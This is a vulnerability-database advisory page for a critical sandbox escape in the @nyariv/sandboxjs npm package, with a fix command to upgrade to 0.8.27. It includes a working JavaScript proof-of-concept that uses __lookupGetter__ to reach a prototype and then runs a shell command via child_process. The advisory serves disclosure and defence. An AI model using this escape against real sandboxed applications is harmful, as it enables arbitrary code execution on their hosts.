VDB
Sign up
CRITICAL10.0

GHSA-9p4w-fq8m-2hp7

SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE

Quick fix

GHSA-9p4w-fq8m-2hp7 — @nyariv/sandboxjs: upgrade to the fixed version with the command below.

npm install @nyariv/sandboxjs@0.8.27

Details

### Summary

SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.

### Details

https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.

### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s();

payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite;

console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ```

### Impact Prototype Pollution -> RCE

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/@nyariv/sandboxjs
Introduced in: 0Fixed in: 0.8.27
Fixnpm install @nyariv/sandboxjs@0.8.27

References